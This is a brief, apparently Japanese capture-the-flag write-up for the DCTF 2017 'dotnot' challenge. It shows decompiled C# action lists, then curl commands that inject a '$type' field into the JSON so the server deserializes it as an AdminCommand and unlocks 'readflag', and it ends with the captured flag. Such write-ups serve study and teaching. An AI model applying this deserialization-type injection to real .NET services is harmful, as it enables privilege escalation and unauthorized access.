Don't net, kids!

Exploit!!!!

@st98 さんの解析により以下のコマンドが実行できそうでした。

` // Token: 0x0400000A RID: 10 private readonly List _guestActions = new List { "authenticate" };

    // Token: 0x0400000B RID: 11
    private readonly List<string> _userActions = new List<string>
    {
        "get",
        "set",
        "list"
    };

    // Token: 0x0400000C RID: 12
    private readonly List<string> _adminActions = new List<string>
    {
        "readflag"
    };

`

コマンド送信例:

# curl https://dotnot.dctf-quals-17.def.camp/api/command -d '{"command":{"userid":"b59b4158-02f6-4075-9384-7d5c32e524fc","action":"set","query":"hoge","value":"fuga"}}'
{"UserId":"b59b4158-02f6-4075-9384-7d5c32e524fc","Action":"set","Query":"hoge","Value":"fuga","Response":"Value updated!","Error":null}

また、このコマンドを送るときjsonのデータに不要なものを入れておいてもそれが反映されているようでした。

なので$typeを使って、型をCommandからAdminCommandにキャストすると、readflagが使えるようになり終わりです。

echo -en '{"command":{"$type":"DCTFNetCoreWebApp.Models.AdminCommand, DCTFNetCoreWebApp","userid":"21b20836-19c9-45d7-9721-101fadd24233","action":"readflag","query":null}}' | curl https://dotnot.dctf-quals-17.def.camp/api/command -d @-

フラグ:DCTF{4e388d989d6e9cfd2ba8a0ddf0f870c23c4936fabfc5c271d065a467af96e387}

ちなみにdllの解析にはdnSpyを使ったとのことです。